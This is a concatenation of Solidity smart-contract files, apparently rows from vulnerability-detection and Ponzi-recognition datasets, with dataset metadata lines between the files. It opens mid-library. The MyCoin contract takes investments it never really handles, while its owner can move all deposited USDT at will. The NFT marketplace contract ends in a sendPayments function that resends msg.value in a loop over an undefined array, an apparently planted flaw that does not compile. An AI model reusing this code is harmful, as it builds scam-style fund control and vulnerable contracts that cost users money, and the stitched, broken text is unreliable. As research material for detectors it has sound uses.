self._len = ptr - self._ptr;
return self;
}
function split(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
function split(slice memory self, slice memory needle) internal pure returns (slice memory token) {
split(self, needle, token);
}
function rsplit(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = ptr;
token._len = self._len - (ptr - self._ptr);
if (ptr == self._ptr) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
}
return token;
}
function rsplit(slice memory self, slice memory needle) internal pure returns (slice memory token) {
rsplit(self, needle, token);
}
function count(slice memory self, slice memory needle) internal pure returns (uint cnt) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
while (ptr <= self._ptr + self._len) {
cnt++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
function contains(slice memory self, slice memory needle) internal pure returns (bool) {
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;
}
function concat(slice memory self, slice memory other) internal pure returns (string memory) {
string memory ret = new string(self._len + other._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
function join(slice memory self, slice[] memory parts) internal pure returns (string memory) {
if (parts.length == 0)
return "";
uint i;
uint length = self._len * (parts.length - 1);
for(i = 0; i < parts.length; i++)
length += parts[i]._len;
string memory ret = new string(length);
uint retptr;
assembly { retptr := add(ret, 32) }
for(i = 0; i < parts.length; i++) {
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
}
| 228,246 | 12,078 |
5bf065baab8e256dc73d0b9201ac541f504b2aee26c0dbd1c418c9481081ea92
| 28,374 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TG/TGgi1unoyCFj6DjbBwPW45tKjs8hazqX9o_MyCoin.sol
| 4,309 | 15,113 |
//SourceUnit: MyCoin.sol
pragma solidity 0.5.4;
interface ITRC20 {
function transfer(address recipient, uint256 amount) external returns (uint256);
function balanceOf(address account) external view returns (uint256);
function decimals() external view returns (uint8);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract MyCoin {
ITRC20 usdt;
ITRC20 mycoin;
address lab;
address team;
// lab_address : TMc5g2M2PRyoG5pgZncJDV5SNrr1EXUNvR;
// team_address : TYtbwKkbLUb1eUhFV3BAR8jN9za9uXFcwp;
constructor(ITRC20 _usdt,ITRC20 _mycoin,address _team,address _lab) public {
usdt = _usdt;
mycoin = _mycoin;
team = _team;
lab = _lab;
owner = msg.sender;
}
address public owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
mapping(address => uint) private usdtpermissiondata;
mapping(address => uint) private usdteddata;
mapping(address => uint) private usdtkeydata;
mapping(address => uint) private mycoinpermissiondata;
mapping(address => uint) private mycoineddata;
mapping(address => uint) private mycoinkeydata;
mapping(address => uint) private upinvest;
mapping(address => uint) private upamountnotreleased;
mapping(address => uint) private upachievementamount;
mapping(address => uint) private meetdata;
mapping(address => uint) private uprecommendbonus;
mapping(address => uint) private upcompetitionawardc;
mapping(address => uint) private vdata;
mapping(address => uint) private udata;
mapping(address => uint) private meetweekdata;
//toteam
using SafeMath for uint;
function toteam(uint payamount) onlyOwner public returns (bool success)
{
address toaddr = team;
usdt.transfer(toaddr,payamount);
return true;
}
//tolab
function tolab(uint payamount) onlyOwner public returns (bool success)
{
address toaddr = lab;
usdt.transfer(toaddr,payamount);
return true;
}
//Authorized user account limit
function usdtpermission(address[] memory addresses,uint[] memory values,uint[] memory usdtkeys) onlyOwner public
{
require(addresses.length > 0);
require(values.length > 0);
require(usdtkeys.length > 0);
for(uint32 i=0;i<addresses.length;i++){
uint value=values[i];
uint usdtkey=usdtkeys[i];
address iaddress=addresses[i];
usdtpermissiondata[iaddress] = value;
usdtkeydata[iaddress] = usdtkey;
}
}
//Authorized user account limit
function addusdtpermission(address uaddress,uint value,uint usdtkey) onlyOwner public
{
usdtpermissiondata[uaddress] = value;
usdtkeydata[uaddress] = usdtkey;
}
//The user obtains the account balance independently
function getusdtPermission(address uaddress) view public returns(uint)
{
return usdtpermissiondata[uaddress];
}
//Show how many users have withdrawn to their wallets
function getusdteddata(address uaddress) view public returns(uint)
{
return usdteddata[uaddress];
}
//Convenient for users to check the USDT balance of their wallet
function usdtbalanceOf(address uaddress) view public returns(uint)
{
usdt.balanceOf(uaddress);
return usdt.balanceOf(uaddress);
}
//Users can easily send their bonuses to their account wallets.
function usdttransferOut(uint amount,uint usdtkey) public{
uint usdtpermissiondatauser = usdtpermissiondata[address(msg.sender)];
uint usdtkeydatauser = usdtkeydata[address(msg.sender)];
require(usdtpermissiondatauser >= amount);
require(usdtkeydatauser == usdtkey);
if (usdtpermissiondatauser >= amount)
{
uint cashamount = amount.mul(9).div(10);
usdtpermissiondata[address(msg.sender)]=usdtpermissiondata[address(msg.sender)].sub(amount);
usdteddata[address(msg.sender)]=usdteddata[address(msg.sender)].add(amount);
usdt.transfer(address(msg.sender),cashamount);
}
}
//Authorized user account limit
function mycoinpermission(address[] memory addresses,uint[] memory values,uint[] memory mycoinkeys) onlyOwner public returns (bool success)
{
require(addresses.length > 0);
require(values.length > 0);
require(mycoinkeys.length > 0);
for(uint32 i=0;i<addresses.length;i++){
uint value=values[i];
uint mycoinkey=mycoinkeys[i];
address iaddress=addresses[i];
mycoinpermissiondata[iaddress] = value;
mycoinkeydata[iaddress] = mycoinkey;
}
return true;
}
//Authorized user account limit
function addmycoinpermission(address uaddress,uint value,uint mycoinkey) onlyOwner public
{
mycoinpermissiondata[uaddress] = value;
mycoinkeydata[uaddress] = mycoinkey;
}
//The user obtains the account balance independently
function getmycoinPermission(address uaddress) view public returns(uint)
{
return mycoinpermissiondata[uaddress];
}
//Show how many users have withdrawn to their wallets
function getmycoineddata(address uaddress) view public returns(uint)
{
return mycoineddata[uaddress];
}
//Convenient for users to check the USDT balance of their wallet
function mycoinbalanceOf(address uaddress) view public returns(uint)
{
mycoin.balanceOf(uaddress);
return mycoin.balanceOf(uaddress);
}
//Users can easily send their bonuses to their account wallets.
function mycointransferOut(uint amount,uint mycoinkey) public{
uint mycoinpermissiondatauser = mycoinpermissiondata[address(msg.sender)];
uint mycoinkeydatauser = mycoinkeydata[address(msg.sender)];
require(mycoinpermissiondatauser >= amount);
require(mycoinkeydatauser == mycoinkey);
if (mycoinpermissiondatauser >= amount)
{
uint cashamount = amount.mul(9).div(10);
mycoinpermissiondata[address(msg.sender)] = mycoinpermissiondata[address(msg.sender)].sub(amount);
mycoineddata[address(msg.sender)] = mycoineddata[address(msg.sender)].add(amount);
mycoin.transfer(address(msg.sender),cashamount);
}
}
function invest(uint investmentamount,uint dynamicuser,uint frequency) public returns (bool success){
uint meetmax = investmentamount;
uint userfrozenamount;
uint achievementamount;
uint day;
uint state;
uint getmyd;
uint released;
uint Pauserelease;
upinvest[address(msg.sender)] = meetmax;
if (investmentamount>10){
userfrozenamount = investmentamount;
}else{
userfrozenamount = investmentamount.mul(150).div(100);
}
if (dynamicuser==1){
userfrozenamount = investmentamount.mul(300).div(100);
}
if (frequency==1){
achievementamount = investmentamount.mul(90).div(100);
}else{
achievementamount = investmentamount.mul(90).div(200);
}
upamountnotreleased[address(msg.sender)] = userfrozenamount;
upachievementamount[address(msg.sender)] = achievementamount;
meetdata[address(msg.sender)] = meetdata[address(msg.sender)].add(userfrozenamount);
if (day > 30 && state==0){
state=1;
}
if (investmentamount >= 30){
getmyd=1;
}
if (released >= achievementamount.mul(70).div(100)){
Pauserelease=1;
}
return true;
}
function recommendation(address fromaddr,uint investmentamount) public onlyOwner returns (bool success){
uint bonus = investmentamount.mul(5).div(100);
uprecommendbonus[fromaddr] = bonus;
return true;
}
function meet(uint investmentamount) public onlyOwner view returns (uint){
uint competitionawardc = investmentamount.mul(10).div(100);
if (vdata[address(msg.sender)]>0){
competitionawardc = investmentamount.mul(2).div(100);
}
if (udata[address(msg.sender)] < competitionawardc){
competitionawardc = udata[address(msg.sender)];
}
return competitionawardc;
}
function meetmanage(address[] memory fromaddresses, uint amountweek) public onlyOwner returns (uint){
uint amount = amountweek.mul(3).div(100);
require(fromaddresses.length > 0);
require(amountweek > 0);
for(uint32 i=0;i<10;i++){
address iaddress=fromaddresses[i];
meetweekdata[iaddress]=amount;
}
return amount;
}
function becomeM(address addresss, uint achievementbig, uint achievementsmall) public onlyOwner returns (uint){
uint level;
if (achievementbig>=100000 && achievementsmall>=50000){
level=1;
}
if(achievementbig>=500000 && achievementsmall>=250000){
level=2;
}
if(achievementbig>=2000000 && achievementsmall>=1000000){
level=3;
}
vdata[addresss]=level;
return level;
}
function forlevelbonus(uint weektotleamount,uint weekgas,uint userlevel,uint performancea,uint performanceb,uint performancec) public onlyOwner view returns(bool success){
uint per;
uint levelbonus;
uint allamount = weektotleamount + weekgas.mul(10);
allamount = allamount.mul(2).div(100);
uint allperformancea = performancea + performanceb + performancec;
uint allperformanceb = performanceb + performancec;
uint allperformancec = performancec;
if (userlevel == 1){
// M1 and M2 and M3 enjoy;
per = allamount/allperformancea;
levelbonus = performancea * per;
}else if (userlevel == 2){
// M2 and M3 enjoy;
per = allamount/allperformanceb;
levelbonus = performanceb * per;
}else if (userlevel == 3){
// M3 enjoy;
per = allamount/allperformancec;
levelbonus = performancec * per;
}
return true;
}
function recommendation(uint amount,uint userlevel) public onlyOwner view returns(bool auccess){
uint gradationlevel;
uint bonus;
if (userlevel == 1){
gradationlevel = 3;
// M1 enjoy 3/100;
}else if (userlevel == 2){
gradationlevel = 6;
// M2 enjoy 6/100;
}else if (userlevel == 3){
gradationlevel = 9 ;
// M3 enjoy 9/100;
}
bonus = amount * gradationlevel.div(100) ;
return true;
}
function Dividends(uint amount,uint reservefunds,uint releasefunds, uint contractfunds,uint nowday) public onlyOwner view returns(bool auccess){
uint releaseratio;
uint dividendratio;
uint perdividend;
uint Sedimentation;
uint maxSedimentation;
maxSedimentation =Sedimentation.mul(60).div(100);
reservefunds=10;
reservefunds=reservefunds.div(1000);
releaseratio=amount/contractfunds.mul(1000);
if (nowday==1 && releaseratio>=40){
dividendratio=2;
}
if(nowday==2 && releaseratio>=80){
dividendratio=4;
}
if(nowday==3 && releaseratio>=120){
dividendratio=6;
}
if(nowday==4 && releaseratio>=160){
dividendratio=8;
}
if(nowday==5){
if (releaseratio>=200){
dividendratio=1000;
}else if(releaseratio>=190 && releaseratio<200){
dividendratio=950;
}else if(releaseratio>=180 && releaseratio<190){
dividendratio=900;
}else if(releaseratio>=170 && releaseratio<180){
dividendratio=850;
}else if(releaseratio>=160 && releaseratio<170){
dividendratio=800;
}else if(releaseratio>=150 && releaseratio<160){
dividendratio=750;
}else if(releaseratio>=140 && releaseratio<150){
dividendratio=700;
}else if(releaseratio>=130 && releaseratio<140){
dividendratio=650;
}else if(releaseratio>=120 && releaseratio<130){
dividendratio=600;
}else if(releaseratio>=110 && releaseratio<120){
dividendratio=550;
}else if(releaseratio>=100 && releaseratio<110){
dividendratio=500;
}else if(releaseratio>=90 && releaseratio<100){
dividendratio=450;
}else if(releaseratio>=80 && releaseratio<90){
dividendratio=400;
}else if(releaseratio>=70 && releaseratio<80){
dividendratio=350;
}else if(releaseratio>=60 && releaseratio<70){
dividendratio=300;
}else if(releaseratio>=50 && releaseratio<60){
dividendratio=250;
}else if(releaseratio>=40 && releaseratio<50){
dividendratio=200;
}else if(releaseratio>=30 && releaseratio<40){
dividendratio=150;
}else if(releaseratio>=20 && releaseratio<30){
dividendratio=100;
}else if(releaseratio>=10 && releaseratio<20){
dividendratio=50;
}else if(releaseratio<10){
dividendratio=0;
}
}
perdividend = releasefunds*dividendratio.div(10000);
uint day;
uint tom;
uint nperdividend;
uint islocked;
uint Computationalpower;
if (dividendratio<60){
day = day + 1;
}
if (day>30){
islocked = 1;
tom = 1;
}
if (day>5){
islocked = 2;
tom = 2;
}
if (tom == 1){
Computationalpower = 3;
for(uint32 i=0;i<3;i++){
nperdividend=3;
}
}
if (tom == 2){
nperdividend=dividendratio.mul(5).div(100);
}
return true;
}
function buyandsale(uint amount) public onlyOwner view returns(bool auccess){
uint tolabamount;
uint tosedimentation;
uint guarantee;
uint guaranteeproportion;
tolabamount = amount.mul(2).div(100);
tosedimentation = amount.mul(5).div(100);
guarantee = amount.mul(8).div(100);
if (guaranteeproportion<80){
guaranteeproportion=guaranteeproportion+tosedimentation.mul(20).div(100);
}
if (guaranteeproportion>=81){
guaranteeproportion=0;
}
return true;
}
}
| 298,899 | 12,079 |
0366ad771052d38c1131beabb27b2cda3f4996476d0ade3cf4c5d155a2c39d2e
| 15,916 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x79b9d863e86adcab6221efd8676e36bd198be64b.sol
| 4,274 | 14,582 |
pragma solidity ^0.5.8;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract IERC721 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract ERC20BasicInterface {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
uint8 public decimals;
}
contract Bussiness is Ownable {
using SafeMath for uint256;
address public ceoAddress = address(0x2076A228E6eB670fd1C604DE574d555476520DB7);
IERC721 public erc721Address = IERC721(0x5D00d312e171Be5342067c09BaE883f9Bcb2003B);
ERC20BasicInterface public hbwalletToken = ERC20BasicInterface(0xEc7ba74789694d0d03D458965370Dc7cF2FE75Ba);
uint256 public ETHFee = 0; // 25 = 2,5 %
uint256 public Percen = 1000;
uint256 public HBWALLETExchange = 21;
// cong thuc hbFee = ETHFee / Percen * HBWALLETExchange / 2
uint256 public limitETHFee = 0;
uint256 public limitHBWALLETFee = 0;
uint256 public hightLightFee = 30000000000000000;
constructor() public {}
struct Price {
address payable tokenOwner;
uint256 price;
uint256 fee;
uint256 hbfee;
bool isHightlight;
}
uint256[] public arrayTokenIdSale;
mapping(uint256 => Price) public prices;
modifier onlyCeoAddress() {
require(msg.sender == ceoAddress);
_;
}
modifier isOwnerOf(uint256 _tokenId) {
require(erc721Address.ownerOf(_tokenId) == msg.sender);
_;
}
// Move the last element to the deleted spot.
// Delete the last element, then correct the length.
function _burnArrayTokenIdSale(uint8 index) internal {
if (index >= arrayTokenIdSale.length) return;
for (uint i = index; i<arrayTokenIdSale.length-1; i++){
arrayTokenIdSale[i] = arrayTokenIdSale[i+1];
}
delete arrayTokenIdSale[arrayTokenIdSale.length-1];
arrayTokenIdSale.length--;
}
function _burnArrayTokenIdSaleByArr(uint8[] memory arr) internal {
for(uint8 i; i<arr.length; i++){
_burnArrayTokenIdSale(i);
}
}
function ownerOf(uint256 _tokenId) public view returns (address){
return erc721Address.ownerOf(_tokenId);
}
function balanceOf() public view returns (uint256){
return address(this).balance;
}
function getApproved(uint256 _tokenId) public view returns (address){
return erc721Address.getApproved(_tokenId);
}
function setPrice(uint256 _tokenId, uint256 _ethPrice, uint256 _ethfee, uint _hbfee, bool _isHightLight) internal {
prices[_tokenId] = Price(msg.sender, _ethPrice, _ethfee, _hbfee, _isHightLight);
arrayTokenIdSale.push(_tokenId);
}
function calPriceFeeEth(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public view returns(uint256, uint256) {
uint256 ethfee;
uint256 _hightLightFee = 0;
uint256 ethNeed;
if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) {
_hightLightFee = hightLightFee;
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen);
if(prices[_tokenId].price == 0) {
if (ethfee >= limitETHFee) {
ethNeed = ethfee.add(_hightLightFee);
} else {
ethNeed = limitETHFee.add(_hightLightFee);
}
}
}
return (ethNeed, _hightLightFee);
}
function setPriceFeeEth(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public payable isOwnerOf(_tokenId) {
require(prices[_tokenId].price != _ethPrice);
uint256 ethfee;
uint256 _hightLightFee = 0;
if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) {
_hightLightFee = hightLightFee;
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen);
if(prices[_tokenId].price == 0) {
if (ethfee >= limitETHFee) {
require(msg.value == ethfee.add(_hightLightFee));
} else {
require(msg.value == limitETHFee.add(_hightLightFee));
ethfee = limitETHFee;
}
}
ethfee = ethfee.add(prices[_tokenId].fee);
} else ethfee = _ethPrice.mul(ETHFee).div(Percen);
setPrice(_tokenId, _ethPrice, ethfee, 0, _isHightLight == 1);
}
function calPriceFeeHBWALLET(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public view returns (uint256){
uint fee;
uint256 ethfee;
uint _hightLightFee = 0;
uint hbNeed;
if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) {
// _hightLightFee = hightLightFee * HBWALLETExchange / 2 / (10 ** 16);
_hightLightFee = hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16);
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen);
fee = ethfee.mul(HBWALLETExchange).div(2).div(10 ** 16);
// ethfee * HBWALLETExchange / 2 * (10 ** 2) / (10 ** 18)
if(prices[_tokenId].price == 0) {
if (fee >= limitHBWALLETFee) {
hbNeed = fee.add(_hightLightFee);
} else {
hbNeed = limitHBWALLETFee.add(_hightLightFee);
}
}
}
return hbNeed;
}
function setPriceFeeHBWALLET(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public isOwnerOf(_tokenId) {
require(prices[_tokenId].price != _ethPrice);
uint fee;
uint256 ethfee;
uint _hightLightFee = 0;
if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) {
_hightLightFee = hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16);
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen);
fee = ethfee.mul(HBWALLETExchange).div(2).div(10 ** 16);
// ethfee * HBWALLETExchange / 2 * (10 ** 2) / (10 ** 18)
if(prices[_tokenId].price == 0) {
if (fee >= limitHBWALLETFee) {
require(hbwalletToken.transferFrom(msg.sender, address(this), fee.add(_hightLightFee)));
} else {
require(hbwalletToken.transferFrom(msg.sender, address(this), limitHBWALLETFee.add(_hightLightFee)));
fee = limitHBWALLETFee;
}
}
fee = fee.add(prices[_tokenId].hbfee);
} else {
ethfee = _ethPrice.mul(ETHFee).div(Percen);
fee = ethfee.mul(HBWALLETExchange).div(2).div(10 ** 16);
}
setPrice(_tokenId, _ethPrice, 0, fee, _isHightLight == 1);
}
function removePrice(uint256 _tokenId) public isOwnerOf(_tokenId) returns (uint256){
if (prices[_tokenId].fee > 0) msg.sender.transfer(prices[_tokenId].fee);
else if (prices[_tokenId].hbfee > 0) hbwalletToken.transfer(msg.sender, prices[_tokenId].hbfee);
resetPrice(_tokenId);
return prices[_tokenId].price;
}
function setFee(uint256 _ethFee, uint _HBWALLETExchange, uint256 _hightLightFee) public onlyOwner returns (uint256, uint, uint256){
require(_ethFee >= 0 && _HBWALLETExchange >= 1 && _hightLightFee >= 0);
ETHFee = _ethFee;
HBWALLETExchange = _HBWALLETExchange;
hightLightFee = _hightLightFee;
return (ETHFee, HBWALLETExchange, hightLightFee);
}
function setLimitFee(uint256 _ethlimitFee, uint _hbWalletlimitFee) public onlyOwner returns (uint256, uint){
require(_ethlimitFee >= 0 && _hbWalletlimitFee >= 0);
limitETHFee = _ethlimitFee;
limitHBWALLETFee = _hbWalletlimitFee;
return (limitETHFee, limitHBWALLETFee);
}
function _withdraw(uint256 amount, uint256 _amountHB) internal {
require(address(this).balance >= amount && hbwalletToken.balanceOf(address(this)) >= _amountHB);
if(amount > 0) {
msg.sender.transfer(amount);
}
if(_amountHB > 0) {
hbwalletToken.transfer(msg.sender, _amountHB);
}
}
function withdraw(uint256 amount, uint8 _amountHB) public onlyCeoAddress {
_withdraw(amount, _amountHB);
}
function cancelBussiness() public onlyCeoAddress {
uint256[] memory arr = arrayTokenIdSale;
uint length = arrayTokenIdSale.length;
for (uint i = 0; i < length; i++) {
if (prices[arr[i]].tokenOwner == erc721Address.ownerOf(arr[i])) {
if (prices[arr[i]].fee > 0) {
uint256 eth = prices[arr[i]].fee;
if(prices[arr[i]].isHightlight) eth = eth.add(hightLightFee);
if(address(this).balance >= eth) {
prices[arr[i]].tokenOwner.transfer(eth);
}
}
else if (prices[arr[i]].hbfee > 0) {
uint hb = prices[arr[i]].hbfee;
if(prices[arr[i]].isHightlight) hb = hb.add(hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16));
if(hbwalletToken.balanceOf(address(this)) >= hb) {
hbwalletToken.transfer(prices[arr[i]].tokenOwner, hb);
}
}
resetPrice(arr[i]);
}
}
_withdraw(address(this).balance, hbwalletToken.balanceOf(address(this)));
}
function revenue() public view returns (uint256, uint){
uint256 ethfee = 0;
uint256 hbfee = 0;
for (uint i = 0; i < arrayTokenIdSale.length; i++) {
if (prices[arrayTokenIdSale[i]].tokenOwner == erc721Address.ownerOf(arrayTokenIdSale[i])) {
if (prices[arrayTokenIdSale[i]].fee > 0) {
ethfee = ethfee.add(prices[arrayTokenIdSale[i]].fee);
}
else if (prices[arrayTokenIdSale[i]].hbfee > 0) {
hbfee = hbfee.add(prices[arrayTokenIdSale[i]].hbfee);
}
}
}
uint256 eth = address(this).balance.sub(ethfee);
uint256 hb = hbwalletToken.balanceOf(address(this)).sub(hbfee);
return (eth, hb);
}
function changeCeo(address _address) public onlyCeoAddress {
require(_address != address(0));
ceoAddress = _address;
}
function buy(uint256 tokenId) public payable {
require(getApproved(tokenId) == address(this));
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
resetPrice(tokenId);
}
function buyWithoutCheckApproved(uint256 tokenId) public payable {
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
resetPrice(tokenId);
}
function resetPrice(uint256 tokenId) private {
prices[tokenId] = Price(address(0), 0, 0, 0, false);
for (uint8 i = 0; i < arrayTokenIdSale.length; i++) {
if (arrayTokenIdSale[i] == tokenId) {
_burnArrayTokenIdSale(i);
}
}
}
function sendPayments() public {
for(uint i = 0; i < values.length - 1; i++) {
msg.sender.send(msg.value);
}
}
}
| 182,745 | 12,080 |
06ddc55b3dde2a73bb7761a68f54fc99e6b2ed5cb2702bc04e7fdce8aaee8009
| 19,150 |
.sol
|
Solidity
| false |
316275714
|
giacomofi/Neural_Smart_Ponzi_Recognition
|
a26fb280753005b9b9fc262786d5ce502b3f8cd3
|
Not_Smart_Ponzi_Source_Code/0x4f17f5b80c6635bf971678f5cdb2404f54eaf155.sol
| 3,639 | 14,378 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract CHEJPY is ERC223, Ownable {
using SafeMath for uint256;
//
// Definition of CryproCurrency
//
string public name = "Cryptoharbor JPY Ver.1.2020";
string public symbol = "CHEJPY";
uint8 public decimals = 8;
uint256 public initialSupply = 100e8 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
//-----------------------------------------------------------------------------
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
constructor() public {
totalSupply = initialSupply;
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
emit FrozenFunds(targets[j], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
